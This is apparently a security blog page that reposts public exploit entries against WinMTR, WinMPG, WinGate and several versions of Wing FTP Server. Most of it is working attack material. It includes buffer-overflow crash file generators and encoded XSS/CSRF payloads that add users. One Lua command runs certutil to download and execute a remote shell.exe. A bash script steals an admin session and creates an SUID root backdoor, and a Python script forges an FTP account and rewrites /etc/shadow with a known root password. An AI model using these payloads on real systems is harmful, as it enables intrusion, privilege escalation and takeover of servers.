# Exploit Title: WinMTR 0.91 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://winmtr.net
# Software Link: http://winmtr.net/winmtr_download/
# Version: 0.91
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# Host: Payload
#!/usr/bin/python
buffer = "A" * 238
payload = buffer
try:
f=open("exp.txt","w")
print "[+] Creating %s bytes evil payload." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created."
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863151863
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: WinMPG Video Convert Local Dos Exploit
# Date: 15.03.2019
# Vendor Homepage:http://www.winmpg.com
# Software Link: http://www.winmpg.com/down/WinMPG_VideoConvert.zip
# Exploit Author: Achilles
# Tested Version: 9.3.5 and older ones
# Tested on: Windows XP SP3 EN
# 1.- Run python code :WinMPG.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open WinMPG.exe and Click 'ALL-AVI'
# 4.- In the new Window click Register
# 5.- Paste the content of EVIL.txt into the Field: 'Name and Registration Code'
# 6.- Click 'Register'and you will see a crash.
#!/usr/bin/env python
buffer = "\x41" * 6000
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
# Exploit Title: WinGate 9.4.1.5998 - Insecure Folder Permissions
# Date: 2020-06-05
# Exploit Author: hyp3rlinx
# Vendor Homepage: https://www.wingate.com
# Version: 9.4.1.5998
# CVE: CVE-2020-13866
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WINGATE-INSECURE-PERMISSIONS-LOCAL-PRIVILEGE-ESCALATION.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
wingate.com
[Product]
WinGate v9.4.1.5998
WinGate is a sophisticated integrated Internet gateway and communications server designed to meet the control,
security and email needs of today's Internet-connected businesses.
[Vulnerability Type]
Insecure Permissions EoP
[CVE Reference]
CVE-2020-13866
[Security Issue]
WinGate has insecure permissions for the installation directory, which allows local
users ability to gain privileges by replacing an executable file with a Trojan horse.
The WinGate directory hands (F) full control to authenticated users, who can then run
arbitrary code as SYSTEM after a WinGate restart or system reboot.
C:\Program Files\WinGate>cacls WinGate.exe
C:\Program Files\WinGate\WinGate.exe NT AUTHORITY\Authenticated Users:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R
[Affected Component]
WinGate Installation Directory
[Impact Code execution]
true
[Impact Denial of Service]
true
[Impact Escalation of Privileges]
true
[Impact Information Disclosure]
true
[Exploit/POC]
Logon as standard user replace WinGate.exe with a trojan executable, wait for restart or reboot the system, your code runs as SYSTEM.
[Network Access]
Local
[Severity]
High
[Disclosure Timeline]
Vendor Notification: May 10, 2020
Vendor acknowledgement: May 10, 2020
Vulnerability confirmed: May 18, 2020
Request status: May 22, 2020
No reply
Notify vendor request CVE: May 26, 2020
No reply
Advised of public disclosure: June 1, 2020
No reply
June 4, 2020 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
Document Title:
===============
Wing FTP Server Admin 4.4.5 - CSRF & Cross Site Scripting Vulnerabilities
Release Date:
=============
2015-04-28
apparitionsec ID (AS-ID):
====================================
AS-WFTP0328
Common Vulnerability Scoring System:
====================================
Overall CVSS Score 8.9
Product:
===============================
Wing FTP Server is a Web based administration FTP client that supports
following protocols FTP, FTPS, HTTPS, SSH
Advisory Information:
==============================
Security researcher John Page discovered a CSRF & client-side cross site
scripting web vulnerability within Wing FTP Server Admin that allows adding
arbitrary users to the system.
Vulnerability Disclosure Timeline:
==================================
March 28, 2015: Vendor Notification
March 28, 2015: Vendor Response/Feedback
April 19, 2015: Vendor Notification
April 28, 2015: Vendor released new patched version 4.4.6
April 28, 2015: Public Disclosure - John Page
Affected Product(s):
====================
Wing FTP Server Admin 4.4.5
Product: Wing FTP Server - Admin
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
Request Method(s):
[+] POST & GET
Vulnerable Product:
[+] Wing FTP Server Admin 4.4.5
Vulnerable Parameter(s):
[+] domain & type
Affected Area(s):
[+] Server Admin
Proof of Concept (POC):
=======================
The CSRF and client-side cross site scripting web vulnerability can be
exploited by remote attackers without privileged application user account
and with low user interaction (click). Payload will add arbitrary users to
the system.
POC: Example
http://localhost:5466/admin_loglist.html?domain=[CSRF & XSS VULNERABILITIES]
POC: Payload(s) Add arbitrary user to the system:
http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemas
ks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E
POC XSS:
http://localhost:5466/admin_viewstatus.html?domain=
POC XSS:
http://localhost:5466/admin_event_list.html?type=
Solution - Fix & Patch:
=======================
Vendor released updated version 4.4.6 Fix/Patch (Wing FTP Server)
Security Risk:
==============
The security risk of the CSRF client-side cross site scripting web
vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9
Credits & Authors:
==================
John Page ( hyp3rlinx ) - ISR godz @apparitionsec
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. the security research reporter John Page disclaims all
warranties, either expressed or implied, including the warranties of
merchantability and capability for a particular purpose. apparitionsec or
its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits or special
damages.
Domains: hyp3rlinx.altervista.org
# Exploit Title: CSRF add arbitrary users
# Google Dork:
# Date: 2015-04-28
# Exploit Author: John Page (hyp3rlinx)
#Website: hyp3rlinx.altervista.org/
# Vendor Homepage: http://www.wftpserver.com/serverhistory.htm
# Software Link: http://www.wftpserver.com/
# Version: 4.4.5
# Tested on: windows 7
# Category: webapps
Wing FTP Server Admin 4.4.5 - CSRF Vulnerability Add Users
Vendor:
http://www.wftpserver.com/serverhistory.htm
============================================
Release Date:
=============
2015-04-28
Source:
====================================
http://hyp3rlinx.altervista.org/advisories/AS-WFTP0328.txt
Common Vulnerability Scoring System:
====================================
Overall CVSS Score 8.9
Product:
===============================
Wing FTP Server is a Web based administration FTP client that supports
following protocols FTP, FTPS, HTTPS, SSH
Advisory Information:
==============================
CSRF vulnerability within Wing FTP Server Admin that allows adding
arbitrary users to the system.
Vulnerability Disclosure Timeline:
==================================
March 28, 2015: Vendor Notification
March 28, 2015: Vendor Response/Feedback
April 19, 2015: Vendor Notification
April 28, 2015: Vendor released new version 4.4.6
April 28, 2015: Public Disclosure - John Page (hyp3rlinx)
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
Request Method(s):
[+] POST
Vulnerable Product:
[+] Wing FTP Server Admin <= 4.4.5
Vulnerable Parameter(s):
[+] domain & type
Affected Area(s):
[+] Server Admin
Proof of Concept (POC):
=======================
The CSRF vulnerability can be exploited by remote attackers without
privileged application user account and with low user interaction (click).
Payload will add arbitrary users to the system.
POC: Example
http://localhost:5466/admin_loglist.html?domain=[CSRF]
POC: Add arbitrary user:
http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemasks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E
Security Risk:
==============
The security risk of the CSRF client-side cross site scripting web
vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. the security research reporter John Page disclaims all
warranties, either expressed or implied, including the warranties of
merchantability and capability for a particular purpose. apparitionsec or
its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits or special
damages.
# Exploit Title: Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated)
# Date: 2020-06-26
# Exploit Author: v1n1v131r4
# Vendor Homepage: https://www.wftpserver.com/
# Software Link: https://www.wftpserver.com/download.htm
# Version: 6.3.8
# Tested on: Windows 10
# CVE : --
Wing FTP Server have a web console based on Lua language. For authenticated users, this console can be exploited to obtaining a reverse shell.
1) Generate your payload (e.g. msfvenom)
2) Send and execute via POST
POST /admin_lua_.html?r=0.3592753444724336 HTTP/1.1
Host: 192.168.56.105:5466
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.105:5466/admin_lua_term.html
Content-Type: text/plain;charset=UTF-8
Content-Length: 153
Connection: close
Cookie: admin_lang=english; admin_login_name=admin; UIDADMIN=75e5058fb61a81e427ae86f55794f1f5
command=os.execute('cmd.exe%20%2Fc%20certutil.exe%20-urlcache%20-split%20-f%20http%3A%2F%2F192.168.56.103%2Fshell.exe%20c%3A%5Cshell.exe%20%26shell.exe')
# Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-03
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.5 and prior
# Tested on: Ubuntu 18.04
# CVE: N/A
# If $_WINGFTPDIR is the installation directory where Wing FTP was installed,
# $_WINGFTPDIR/wftpserver/session/* --> corresponds to user sessions... world readable/writeable (possibly exploitable)
# $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable.
# We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA.
# https://www.hooperlabs.xyz/disclosures/cve-2020-9470.php (writeup)
#!/bin/bash
echo 'Local root privilege escalation for Wing FTP Server (v.6.2.5)'
echo 'Exploit by Cary Hooper (@nopantrootdance)'
function writeBackdoor() {
#this function creates a backdoor program (executes bash)
echo " Writing backdoor in $1"
echo '#include <stdio.h>' > $1/foobarh00p.c
echo '#include <sys/types.h>' >> $1/foobarh00p.c
echo '#include <unistd.h>' >> $1/foobarh00p.c
echo 'int main(void){setuid(0); setgid(0); system("/bin/bash");}' >> $1/foobarh00p.c
gcc -w $1/foobarh00p.c -o $1/foobarh00p
}
function makeRequest() {
#Executes Lua command in admin panel to set the suid bit/chown on our backdoor
#Change owner to root
curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chown%20root%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null
#Make SUID
curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chmod%204777%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null
}
directories=( "/tmp" "/var/tmp" "/dev/shm" )
for dir in "${directories[@]}"
do
#Check if directories are writeable
if [ -w $dir ]
then
echo "[!] Writeable directory found: $dir"
export backdoordir=$dir
break
else
echo " $dir is not writeable..."; fi
done
writeBackdoor $backdoordir
#Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/).
echo " Finding the wftpserver directory"
export sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep --color=never wftpserver)
if [ -z "$sessiondir" ]; then echo "Wing FTP directory not found. Consider looking manually."; exit 1; fi
#Note: if no directory is found, look manually for the "wftpserver" directory, or a "wftpserver" binary. Change the variable below and comment out the code above.
#export sessiondir="/opt/wftpserver/session_admin"
#While loop to wait for an admin session to be established.
echo " Waiting for a Wing FTP admin to log in. This may take a while..."
count=0
while : ; do
if [ "$(ls -A $sessiondir)" ]; then
#If a session file exists, the UID_ADMIN cookie is the name of the file.
echo "[!] An administrator logged in... stealing their session."
export cookie=$(ls -A $sessiondir | cut -d '.' -f1)
export ip=$(cat $sessiondir/$cookie.lua | grep ipaddress| cut -d '[' -f4 | cut -d ']' -f1)
echo " Changing IP restrictions on the cookie..."
cat $sessiondir/$cookie.lua | sed "s/$ip/127.0.0.1/g" > $backdoordir/$cookie.lua
cp $backdoordir/$cookie.lua $sessiondir/$cookie.lua
rm $backdoordir/$cookie.lua
echo "[!] Successfully stole session."
#Once found, make the malicious curl request
export urldir=$(sed "s/\//\%2F/g" <<<$backdoordir)
echo " Making evil request as Wing FTP admin... (backdoor in ${backdoordir})"
makeRequest $cookie $urldir
break
else
#Checks every 10 seconds. Outputs date to terminal for user feedback purposes only.
sleep 10
let "count+=1"
if [ $count -eq 10 ]; then date; fi
echo "..."
fi
done
#Check if backdoor was created correctly
if [ $(stat -c "%a" $backdoordir/foobarh00p) != "4777" ]; then echo " Something went wrong. Backdoor is not SUID"; exit 1; fi
if [ $(stat -c "%U" $backdoordir/foobarh00p) != "root" ]; then echo " Something went wrong. Backdoor is not owned by root"; exit 1; fi
echo " Backdoor is now SUID owned by root."
echo "[!] Executing backdoor. Cross your fingers..."
#Execute the backdoor... root!
$backdoordir/foobarh00p
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-02
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.3
# Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86)
# Given SSH access to a target machine with Wing FTP Server installed, this program:
# - SSH in, forges a FTP user account with full permissions (CVE-2020-8635)
# - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634)
# Each step can all be done manually with any kind of code execution on target (no SSH)
# To setup, start SSH service, then run ./wftpserver. Wing FTP services will start after a domain is created.
# https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup)
#!/usr/bin/python3
#python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080
import paramiko,sys,warnings,requests,re,time,argparse
#Python warnings are the worst
warnings.filterwarnings("ignore")
#Argument handling begins
parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance."))
parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True)
parser.add_argument("-u", "--username", help="SSH username", required=True)
parser.add_argument("-p", "--password", help="SSH password", required=True)
parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true')
parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False)
args = parser.parse_args()
#Global Variables
global username
global password
global proxies
global port
global hostname
global DEBUG
username = args.username
password = args.password
#Turn on debug statements
if args.verbose:
DEBUG = True
else:
DEBUG = False
#Handle nonstandard SSH port
if ':' in args.target:
socket = args.target.split(':')
hostname = socket[0]
port = socket[1]
else:
hostname = args.target
port = "22"
#Prepare proxy dict (for Python requests)
if args.proxy:
if ("http://" not in args.proxy) and ("https://" not in args.proxy):
print(f"[!] Invalid proxy. Proxy must have http:// or https:// {proxy}")
sys.exit(1)
proxies = {'http':args.proxy,'https':args.proxy}
else:
proxies = {}
#Argument handling ends
#This is what a <username>.xml file looks like.
#Gives full permission to user (h00p:h00p) for entire filesystem '/'.
#Located in $_WFTPROOT/Data/Users/
evilUserXML = """<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>h00p</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>d28f47c0483d392ca2713fe7e6f54089</Password>
<ProtocolType>63</ProtocolType>
<EnableExpire>0</EnableExpire>
<ExpireTime>2020-02-25 18:27:07</ExpireTime>
<MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
<MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
<MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
<MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
<SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
<SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
<MaxConnection>0</MaxConnection>
<ConnectionPerIp>0</ConnectionPerIp>
<PasswordLength>0</PasswordLength>
<ShowHiddenFile>0</ShowHiddenFile>
<CanChangePassword>0</CanChangePassword>
<CanSendMessageToServer>0</CanSendMessageToServer>
<EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
<SSHPublicKeyPath></SSHPublicKeyPath>
<SSHAuthMethod>0</SSHAuthMethod>
<EnableWeblink>1</EnableWeblink>
<EnableUplink>1</EnableUplink>
<CurrentCredit>0</CurrentCredit>
<RatioDownload>1</RatioDownload>
<RatioUpload>1</RatioUpload>
<RatioCountMethod>0</RatioCountMethod>
<EnableRatio>0</EnableRatio>
<MaxQuota>0</MaxQuota>
<CurrentQuota>0</CurrentQuota>
<EnableQuota>0</EnableQuota>
<NotesName></NotesName>
<NotesAddress></NotesAddress>
<NotesZipCode></NotesZipCode>
<NotesPhone></NotesPhone>
<NotesFax></NotesFax>
<NotesEmail></NotesEmail>
<NotesMemo></NotesMemo>
<EnableUploadLimit>0</EnableUploadLimit>
<CurLimitUploadSize>0</CurLimitUploadSize>
<MaxLimitUploadSize>0</MaxLimitUploadSize>
<EnableDownloadLimit>0</EnableDownloadLimit>
<CurLimitDownloadLimit>0</CurLimitDownloadLimit>
<MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
<LimitResetType>0</LimitResetType>
<LimitResetTime>1580092048</LimitResetTime>
<TotalReceivedBytes>0</TotalReceivedBytes>
<TotalSentBytes>0</TotalSentBytes>
<LoginCount>0</LoginCount>
<FileDownload>0</FileDownload>
<FileUpload>0</FileUpload>
<FailedDownload>0</FailedDownload>
<FailedUpload>0</FailedUpload>
<LastLoginIp></LastLoginIp>
<LastLoginTime>2020-01-26 18:27:28</LastLoginTime>
<EnableSchedule>0</EnableSchedule>
<Folder>
<Path>/</Path>
<Alias>/</Alias>
<Home_Dir>1</Home_Dir>
<File_Read>1</File_Read>
<File_Write>1</File_Write>
<File_Append>1</File_Append>
<File_Delete>1</File_Delete>
<Directory_List>1</Directory_List>
<Directory_Rename>1</Directory_Rename>
<Directory_Make>1</Directory_Make>
<Directory_Delete>1</Directory_Delete>
<File_Rename>1</File_Rename>
<Zip_File>1</Zip_File>
<Unzip_File>1</Unzip_File>
</Folder>
</USER>
</USER_ACCOUNTS>
"""
#Verbosity function.
def log(string):
if DEBUG != False:
print(string)
#Checks to see which URL is hosting Wing FTP
#Returns a URL, probably. HTTPS preferred. empty url is checked in main()
def checkHTTP(hostname):
protocols= ["http://","https://"]
for protocol in protocols:
try:
log(f"Testing HTTP service {protocol}{hostname}")
response = requests.get(protocol + hostname, verify=False, proxies=proxies)
try:
#Server: Wing FTP Server
if "Wing FTP Server" in response.headers['Server']:
print(f"[!] Wing FTP Server found at {protocol}{hostname}")
url = protocol + hostname
except:
print("")
except Exception as e:
print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}")
return url
#Log in to the HTTP interface. Returns cookie
def getCookie(url,webuser,webpass,headers):
log("getCookie")
loginURL = f"{url}/loginok.html"
data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "}
response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies)
ftpCookie = response.headers['Set-Cookie'].split(';')[0]
print(f"[!] Successfully logged in! Cookie is {ftpCookie}")
cookies = {"UID":ftpCookie.split('=')[1]}
log("return getCookie")
return cookies
#Change directory within the web interface.
#The actual POST request changes state. We keep track of that state in the returned directorymem array.
def chDir(url,directory,headers,cookies,directorymem):
log("chDir")
data = {"dir": directory}
print(f"[*] Changing directory to {directory}")
chdirURL = f"{url}/chdir.html"
requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
log(f"Directorymem is nonempty. --> {directorymem}")
log("return chDir")
directorymem = directorymem + "|" + directory
return directorymem
#The application has a silly way of keeping track of paths.
#This function returns the current path as dirstring.
def prepareStupidDirectoryString(directorymem,delimiter):
log("prepareStupidDirectoryString")
dirstring = ""
directoryarray = directorymem.split('|')
log(f"directoryarray is {directoryarray}")
for item in directoryarray:
if item != "":
dirstring += delimiter + item
log("return prepareStupidDirectoryString")
return dirstring
#Downloads a given file from the server. By default, it runs as root.
#Returns the content of the file as a string.
def downloadFile(file,url,headers,cookies,directorymem):
log("downloadFile")
print(f"[*] Downloading the {file} file...")
dirstring = prepareStupidDirectoryString(directorymem,"$2f") #Why wouldn't you URL-encode?!
log(f"directorymem is {directorymem} and dirstring is {dirstring}")
editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768"
response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies)
filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0]
log(f"downloaded file is: {filecontent}")
log("return downloadFile")
return filecontent,editURL
#Saves a given file to the server (or overwrites one). By default it saves a file with
#644 permission owned by root.
def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem):
log("saveFile")
log(f"Directorymem is {directorymem}")
saveURL = f"{url}/savefile.html"
headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer}
dirstring = prepareStupidDirectoryString(directorymem,"/")
log(f"Stupid Directory string is {dirstring}")
data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent}
requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False)
log("return saveFile")
#Other methods may be more stable, but this works.
#"You can't argue with a root shell" - FX
#Let me know if you know of other ways to increase privilege by overwriting or creating files. Another way is to overwrite
#the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV).
#Mind that in this version of Wing FTP, files will be saved with umask 111. This makes changing /etc/sudoers infeasible.
#This routine overwrites the shadow file
def overwriteShadow(url):
log("overwriteShadow")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
#Grab cookie from server.
cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers)
#Chdir a few times, starting in the user's home directory until we arrive at the target folder
directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="")
#Download the target file.
shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem)
# openssl passwd -1 -salt h00ph00p h00ph00p
rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0"
rootpass = "root:" + rootpass + ":18273:0:99999:7:::"
#Create new shadow file with different root password & save
newshadow = re.sub("root(.*):::",rootpass,shadowfile)
print("[*] Swapped the password hash...")
saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem)
print("[*] Saved the forged shadow file...")
log("exit overwriteShadow")
def main():
log("main")
try:
#Create ssh connection to target with paramiko
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy)
try:
client.connect(hostname, port=port, username=username, password=password)
except:
print(f"Failed to connect to {hostname}:{port} as user {username}.")
#Find wftpserver directory
print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)")
stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'")
wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0]
print(f"[!] Found Wing FTP directory: {wftpDir}")
#Find name of <domain>
stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1")
lsresult = stdout.read().decode("utf-8").split('\n')
#Checking if wftpserver is actually configured. If you're using this script, it probably is.
print(f"[*] Determining if the server has been configured.")
domains = []
for item in lsresult[:-1]:
item = item.rsplit('/',1)[1]
if item !="_ADMINISTRATOR" and item != "":
domains.append(item)
print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}")
domain = domains[0]
#Check if the users folder exists
userpath = wftpDir + "/Data/" + domain
print(f"[*] Checking if users exist.")
stdin, stdout, stderr = client.exec_command(f"file {userpath}/users")
if "No such file or directory" in stdout.read().decode("utf-8"):
print(f"[*] Users directory does not exist. Creating folder /users")
#Create users folder
stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users")
#Create user.xml file
print("[*] Forging evil user (h00p:h00p).")
stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml")
#Now we can log into the FTP web app with h00p:h00p
url = checkHTTP(hostname)
#Check that url isn't an empty string (and that its a valid URL)
if "http" not in url:
print(f"[!] Exiting... cannot access web interface.")
sys.exit(1)
#overwrite root password
try:
overwriteShadow(url)
print(f"[!] Overwrote root password to h00ph00p.")
except Exception as e:
print(f"[!] Error: cannot overwrite /etc/shadow: {e}")
#Check to make sure the exploit worked.
stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root")
out = stdout.read().decode('utf-8')
err = stderr.read().decode('utf-8')
log(f"STDOUT - {out}")
log(f"STDERR - {err}")
if "root:$1$h00p" in out:
print(f"[*] Success! The root password has been successfully changed.")
print(f"\n\tssh {username}@{hostname} -p{port}")
print(f"\tThen: su root (password is h00ph00p)")
else:
print(f"[!] Something went wrong... SSH in to manually check /etc/shadow. Permissions may have been changed to 666.")
log("exit prepareServer")
finally:
client.close()
main()
# Exploit Title: Wing FTP Server 6.0.7 - Unquoted Service Path
# Date: 2019-12-30
# Exploit Author: Nawaf Alkeraithe
# Vendor Homepage: https://www.wftpserver.com/
# Version: 6.0.7
# Tested on: Windows 10
# CVE : N/A
# PoC:
C:\Users\user>sc qc "Wing FTP Server"
